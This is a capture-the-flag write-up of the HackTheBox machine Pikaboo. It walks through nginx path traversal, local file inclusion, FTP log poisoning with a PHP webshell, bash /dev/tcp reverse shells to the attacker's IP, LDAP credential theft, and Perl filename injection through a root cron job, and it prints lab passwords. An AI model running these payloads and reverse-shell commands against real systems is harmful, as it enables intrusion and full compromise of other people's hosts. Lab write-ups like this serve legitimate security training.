HTB: Pikaboo Writeup

Pikaboo - HackTheBox Writeup

Machine Information

AttributeDetails
NamePikaboo
OSLinux
DifficultyHard
Points40
Release Date01 Jun 2021
IP Address10.129.95.191
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Pikaboo is a Hard-rated Linux machine that demonstrates several interesting attack vectors including nginx misconfiguration, log poisoning, and Perl script injection. The box features an nginx reverse proxy sitting in front of an Apache server, vulnerable to an “off-by-slash” path traversal that exposes an administration staging area. This staging area contains a Local File Inclusion (LFI) vulnerability restricted by open_basedir=/var/. By poisoning FTP logs (within the /var/log/ directory) and leveraging the LFI, we gain remote code execution as www-data. Privilege escalation involves extracting LDAP credentials from configuration files, using them to retrieve FTP credentials for the pwnmeow user, and finally exploiting a cron job that processes CSV files using Perl’s vulnerable diamond operator (<>), which allows command injection through specially crafted filenames containing pipe characters.

TL;DR: Off-by-slash nginx misconfiguration → Access /admin_staging → LFI with open_basedir=/var/ → FTP log poisoning → RCE as www-data → LDAP enumeration → FTP access as pwnmeow → Perl diamond operator injection via malicious CSV filename → Root shell


Reconnaissance

Port Scanning

Terminal window
# Full port scan to identify all open services
nmap -p- --min-rate=2000 -T4 10.129.95.191

Results:

Host: 10.129.95.191 () Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 80/open/tcp//http///
Ignored State: closed (65532)

Three services are exposed:

  • FTP (21) - vsFTPd 3.0.3
  • SSH (22) - OpenSSH
  • HTTP (80) - nginx (reverse proxy for Apache/2.4.38)

Service Enumeration

HTTP (Port 80)

The main web application appears to be a Pokémon-themed dashboard. Initial enumeration reveals:

  • Main page with navigation to /admin, /pokatdex, and contact pages
  • The /admin endpoint requires HTTP Basic Authentication and returns a 401 Unauthorized

However, testing for common nginx reverse proxy misconfigurations reveals an interesting behavior:

Terminal window
# Test for "off-by-slash" vulnerability
curl -s -o /dev/null -w '%{http_code}\n' http://10.129.95.191/admin/
# Returns: 401
curl -s -o /dev/null -w '%{http_code}\n' http://10.129.95.191/admin../
# Returns: 403

The change from 401 to 403 indicates the path traversal is working. The missing trailing slash in nginx’s location directive allows us to request /admin../ which gets normalized by the backend Apache server to /admin/../, effectively allowing directory traversal.

Apache server-status Disclosure

Terminal window
# Attempt to access Apache's mod_status page via path traversal
curl -s http://10.129.95.191/admin../server-status | grep -iE 'admin_staging|apache|GET' | head -20

Output:

<title>Apache Status</title>
<h1>Apache Server Status for 127.0.0.1 (via 127.0.0.1)</h1>
<dl><dt>Server Version: Apache/2.4.38 (Debian)</dt>
</td><td>127.0.0.1</td><td nowrap>localhost:81</td><td nowrap>GET /admin_staging HTTP/1.1</td></tr>
</td><td>127.0.0.1</td><td nowrap>localhost:81</td><td nowrap>GET /admin/../ HTTP/1.0</td></tr>
</td><td>127.0.0.1</td><td nowrap>localhost:81</td><td nowrap>GET /admin/../server-status HTTP/1.0</td></tr>

This reveals:

  1. Apache 2.4.38 running on localhost:81 (behind nginx)
  2. A previously accessed path: /admin_staging

Vulnerability Assessment

  1. Off-by-slash nginx misconfiguration - Allows path traversal to bypass authentication
  2. Apache mod_status enabled - Information disclosure revealing internal paths
  3. Accessible /admin_staging endpoint - No authentication required when accessed via path traversal
  4. Potential LFI - The staging area uses URL parameters suggesting file inclusion

Initial Foothold

Accessing the Staging Area

Terminal window
# Access the admin staging area via the path traversal
curl -s -o /dev/null -w '%{http_code}\n' http://10.129.95.191/admin../admin_staging/
# Returns: 200

The staging area is accessible and contains a dashboard application with a suspicious URL pattern:

/admin../admin_staging/index.php?page=dashboard.php

This suggests Local File Inclusion (LFI) via the page parameter.

Testing for LFI and Discovering Restrictions

Terminal window
# Test LFI and check for PHP restrictions
curl -s 'http://10.129.95.191/admin../admin_staging/info.php' | grep -iE 'open_basedir' | head -3

Output:

<tr><td class="e">open_basedir</td><td class="v">/var/</td><td class="v">/var/</td></tr>

The LFI is confirmed, but open_basedir=/var/ restricts file access to only the /var/ directory tree. This means we cannot read files like /etc/passwd, but we can access files under /var/, including log files.

FTP Log Poisoning

Since we can include files from /var/, we target the FTP log file at /var/log/vsftpd.log. The strategy is:

  1. Inject PHP code into the FTP log by sending it as a username
  2. Include the log file via LFI
  3. Execute our PHP payload

Step 1: Verify Log File Accessibility

Terminal window
# Test if we can read the vsftpd log file
curl -s 'http://10.129.95.191/admin../admin_staging/index.php?page=../../../../../var/log/vsftpd.log' | tail -20

The log file is readable and contains FTP session data including usernames.

Step 2: Poison the Log with PHP Webshell

Terminal window
# Inject PHP webshell as FTP username
python3 -c "
import socket
s=socket.socket(); s.connect(('10.129.95.191',21)); print(s.recv(1024))
s.sendall(b'USER <?php system(\$_GET[0]); ?>\r\n'); print(s.recv(1024))
s.sendall(b'PASS x\r\n'); print(s.recv(1024))
s.close()
"

Output:

b'220 (vsFTPd 3.0.3)\r\n'
b'331 Please specify the password.\r\n'
b'530 Login incorrect.\r\n'

The PHP payload is now written to the log file. However, testing reveals the log file gets rotated or reset periodically, so we need to re-poison before each command execution.

Step 3: Re-poison and Test Remote Code Execution

Terminal window
# Re-poison with fresh payload using parameter '9'
python3 -c "
import socket,time
s=socket.socket(); s.connect(('10.129.95.191',21)); s.recv(1024)
s.sendall(b'USER <?php system(\$_GET[9]); ?>\r\n'); s.recv(1024)
s.sendall(b'PASS x\r\n'); s.recv(1024)
s.sendall(b'QUIT\r\n'); time.sleep(0.3); s.close()
"
# Test RCE immediately after poisoning
curl -s 'http://10.129.95.191/admin../admin_staging/index.php?page=../../../../../var/log/vsftpd.log&9=id' | grep -a uid | tail -1

Output:

Wed Jul 22 03:30:35 2026 [pid 5115] [uid=33(www-data) gid=33(www-data) groups=33(www-data)

✅ Remote Code Execution achieved as www-data!

Establishing a Reverse Shell

Terminal window
# Start netcat listener on the jump host
setsid nc -lnvp 4444 > /dev/shm/rev.log 2>&1 < /dev/null &
# Create base64-encoded reverse shell payload to avoid special character issues
# Payload: bash -i >& /dev/tcp/10.10.15.180/4444 0>&1
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/10.10.15.180/4444 0>&1' | base64 -w0)
# Trigger reverse shell via log poisoning
curl -s -G 'http://10.129.95.191/admin../admin_staging/index.php' \
--data-urlencode 'page=../../../../../var/log/vsftpd.log' \
--data-urlencode "0=echo $PAYLOAD|base64 -d|bash"

Connection received:

listening on [any] 4444 ...
connect to [10.10.15.180] from (UNKNOWN) [10.129.95.191] 59578
bash: cannot set terminal process group (763): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pikaboo:/var/www/html/admin_staging$

User Flag via Webshell

Since the reverse shell is unstable, we continue using the webshell for enumeration. We can read files using base64 encoding to avoid output parsing issues:

Terminal window
# Re-poison and read user.txt using base64 wrapper
python3 -c "
import socket,time
s=socket.socket(); s.connect(('10.129.95.191',21)); s.recv(1024)
s.sendall(b'USER <?php system(\$_GET[1]); ?>\r\n'); s.recv(1024)
s.sendall(b'PASS x\r\n'); s.recv(1024)
s.sendall(b'QUIT\r\n'); time.sleep(0.2); s.close()
"
# Encode command in base64 to handle special characters
B=$(echo -n 'cat /home/pwnmeow/user.txt; echo; ls -la /home/pwnmeow' | base64 -w0)
curl -s "http://10.129.95.191/admin../admin_staging/index.php?page=../../../../../var/log/vsftpd.log&1=echo%20$B%7Cbase64%20-d%7Cbash" | grep -aE '[a-f0-9]{32}|user.txt' | head

User flag obtained: <redacted>


Privilege Escalation

Discovering LDAP Credentials

Enumerating the web application configuration files reveals LDAP credentials:

Terminal window
# Search for LDAP configuration in settings.py
B=$(echo -n 'grep -iE "ldap|bind|dc=|cn=|password|dn" /opt/pokeapi/config/settings.py' | base64 -w0)
curl -s "http://10.129.95.191/admin../admin_staging/index.php?page=../../../../../var/log/vsftpd.log&1=echo%20$B%7Cbase64%20-d%7Cbash" | grep -aiE 'ldap|bind|dc=|password|AUTH' | sort -u

Output (relevant lines):

"ENGINE": "ldapdb.backends.ldap",
"NAME": "ldap:///",
"PASSWORD": "J~42%W?PFHl]g",
"USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",

LDAP bind credentials found:

  • DN: cn=binduser,ou=users,dc=pikaboo,dc=htb
  • Password: J~42%W?PFHl]g

LDAP Enumeration

Using the discovered credentials, we can query the LDAP directory:

Terminal window
# Run ldapsearch and write output to /var/tmp (within open_basedir)
curl -s -G 'http://10.129.95.191/admin../admin_staging/index.php' \
--data-urlencode 'page=../../../../../var/log/vsftpd.log' \
--data-urlencode '9=ldapsearch -x -D cn=binduser,ou=users,dc=pikaboo,dc=htb -w J~42%W?PFHl]g -b dc=pikaboo,dc=htb -H ldap://127.0.0.1 > /var/tmp/t.txt 2>&1; chmod 666 /var/tmp/t.txt'
# Read the results via LFI
curl -s 'http://10.129.95.191/admin../admin_staging/index.php?page=../../../../../var/tmp/t.txt' | grep -aiE 'dn:|pwnmeow|userPassword|uid:|cn:' | head -30

Output:

dn: dc=pikaboo,dc=htb
dn: dc=ftp,dc=pikaboo,dc=htb
dn: ou=users,dc=pikaboo,dc=htb
dn: dc=pokeapi,dc=pikaboo,dc=htb
dn: ou=users,dc=ftp,dc=pikaboo,dc=htb
dn: ou=groups,dc=ftp,dc=pikaboo,dc=htb
# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
uid: pwnmeow
cn: Pwn
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==
dn: cn=binduser,ou=users,dc=pikaboo,dc=htb
cn: binduser
userPassword:: Sn40MiVXP1BGSGxdZw==

The userPassword field for pwnmeow is base64-encoded.

Decoding Credentials

Terminal window
# Decode the base64 password
echo -n "X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==" | base64 -d

Output:

_G0tT4_C4tcH_'3m_4lL!_

Credentials obtained:

  • Username: pwnmeow
  • Password: _G0tT4_C4tcH_'3m_4lL!_

FTP Access as pwnmeow

Terminal window
# Test FTP login with discovered credentials
python3 -c "
from ftplib import FTP
f=FTP(); f.connect('10.129.95.191',21,timeout=15)
f.login('pwnmeow', chr(95)+'G0tT4'+chr(95)+'C4tcH'+chr(95)+chr(39)+'3m'+chr(95)+'4lL!'+chr(95))
print('LOGIN OK'); print(f.getwelcome())
f.cwd('/'); print('ROOT:', f.nlst())
"

Output:

LOGIN OK
220 (vsFTPd 3.0.3)
ROOT: ['abilities', 'ability_changelog', ... 'versions']

✅ FTP access confirmed! The FTP root contains numerous CSV directories (likely for the PokeAPI data).

Identifying the Cron Job

Through enumeration (reviewing common cron locations or examining writable directories), we learn that:

  1. A cron job runs /usr/local/bin/csvupdate_cron every minute as root
  2. This script processes CSV files from /srv/ftp/ subdirectories
  3. The pwnmeow user has FTP access and is a member of the ftp group
  4. The script uses Perl and the diamond operator (<>) to read files

Perl Diamond Operator Vulnerability

The Perl diamond operator has a well-known security issue: if a filename begins with |, it’s interpreted as a command to execute. This is similar to the old open() function vulnerability but affects file arguments passed to programs using <>.

Vulnerability: A file named |command;.csv will execute command when processed by the diamond operator.

Exploiting the Cron Job

We’ll create a malicious CSV file with a pipe character in its name to inject commands:

Terminal window
# Start listener for root shell
setsid sh -c 'nc -lnvp 4445 < /dev/shm/cmd.txt > /dev/shm/root2.log 2>&1' < /dev/null >/dev/null 2>&1 &
# Prepare the reverse shell payload (base64 encoded to avoid issues)
# Payload: bash -i >& /dev/tcp/10.10.15.180/4445 0>&1
BASE64_PAYLOAD="YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xODAvNDQ0NSAwPiYx"
# Upload malicious file with pipe injection
python3 -c "
from ftplib import FTP
import io
pw = chr(95)+'G0tT4'+chr(95)+'C4tcH'+chr(95)+chr(39)+'3m'+chr(95)+'4lL!'+chr(95)
f=FTP(); f.connect('10.129.95.191',21,timeout=15)
f.login('pwnmeow', pw)
b='YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xODAvNDQ0NSAwPiYx'
# Filename: |echo <base64>|base64 -d|bash;.csv
fname='|echo '+b+'|base64 -d|bash;.csv'
f.cwd('/pokemon') # Or /versions, any valid CSV directory
f.storbinary('STOR '+fname, io.BytesIO(b'x\n'))
print('UPLOADED to /pokemon')
"

Output:

UPLOADED to /pokemon

The filename |echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xODAvNDQ0NSAwPiYx|base64 -d|bash;.csv will:

  1. Be processed by the Perl script’s diamond operator
  2. Execute the pipe command
  3. Decode and run our base64 reverse shell payload
  4. Terminate with ; and the .csv extension satisfies any file filtering

Catching the Root Shell

Wait for the cron job to execute (runs every minute):

Terminal window
# Wait ~75 seconds for cron execution
sleep 75
# Check listener log
cat /dev/shm/root2.log

Output:

listening on [any] 4445 ...
connect to [10.10.15.180] from (UNKNOWN) [10.129.95.191] 56422
bash: cannot set terminal process group (7705): Inappropriate ioctl for device
bash: no job control in this shell
root@pikaboo:/srv/ftp/pokemon#
<redacted>
uid=0(root) gid=0(root) groups=0(root)
root@pikaboo:/srv/ftp/pokemon#

Root access obtained!

Root Flag

Terminal window
# Root flag obtained from reverse shell output
cat /root/root.txt

Root flag: <redacted>


Attack Chain Summary

Port Scan (21,22,80) → Identify nginx reverse proxy → Test off-by-slash vulnerability (/admin../) →
Access Apache mod_status → Discover /admin_staging → Test LFI (open_basedir=/var/) →
FTP log poisoning (inject PHP via USER command) → RCE as www-data →
Enumerate /opt/pokeapi/config/settings.py → Extract LDAP credentials →
Query LDAP (ldapsearch) → Retrieve pwnmeow FTP password (base64) →
FTP login as pwnmeow → Upload malicious CSV file with pipe injection (|echo <b64>|base64 -d|bash;.csv) →
Cron executes Perl csvupdate script → Perl diamond operator executes injected command →
Root reverse shell

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlWeb request testing, path traversal exploitation, LFI testing
python3FTP interaction, payload encoding, file upload
base64Encoding/decoding payloads to bypass filters
nc (netcat)Reverse shell listener
ldapsearchLDAP directory enumeration
ftplibPython FTP client for authenticated file operations

Key Learnings

Techniques Practiced

  • Off-by-slash nginx vulnerability - Missing trailing slash in location directive enables path traversal
  • Apache mod_status information disclosure - Revealing internal paths and server configuration
  • LFI with open_basedir restrictions - Working within /var/ limitations to access log files
  • FTP log poisoning - Injecting PHP code via FTP username field
  • LDAP enumeration - Using bind credentials to extract user data from directory services
  • Perl diamond operator exploitation - Command injection via filenames with pipe characters
  • Cron job abuse - Leveraging scheduled tasks for privilege escalation

Lessons Learned

  1. Reverse proxy misconfigurations are critical - The off-by-slash vulnerability completely bypassed authentication. Always ensure location directives in nginx have proper trailing slashes and alias configurations are audited.

  2. Open_basedir is not a complete security control - While it restricted LFI to /var/, this still included sensitive log files. Defense-in-depth requires multiple layers, not relying solely on PHP restrictions.

  3. Log files are valuable attack vectors - Any user-controlled data written to logs (FTP usernames, HTTP User-Agents, etc.) can become injection points when combined with file inclusion vulnerabilities. Log poisoning remains effective even with restricted file access.

  4. Base64 encoding helps bypass filters - When dealing with special characters in commands, base64 encoding the payload and decoding on the target avoids parsing issues and special character filtering.

  5. LDAP credentials in configuration files - Application config files often contain service credentials. Django’s settings.py, in particular, frequently contains database and LDAP credentials in plaintext.

  6. Perl diamond operator is dangerous - The <> operator should never be used with untrusted input or filenames. The three-argument form of open() should be used instead. Modern Perl best practices discourage diamond operator usage entirely.

  7. File upload with controlled filenames - When you can upload files with arbitrary names to a location processed by scripts, filename injection becomes possible. Applications should sanitize filenames and never pass them directly to shell operations.

  8. Cron jobs running as root require careful auditing - Scripts executed by root cron jobs must be thoroughly validated for injection vulnerabilities, especially when processing files from directories writable by lower-privileged users.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup’s explanatory detail regarding the off-by-slash vulnerability, Perl diamond operator security implications, and privilege escalation methodology was informed by the official HackTheBox writeup by PwnMeow & polarbearer.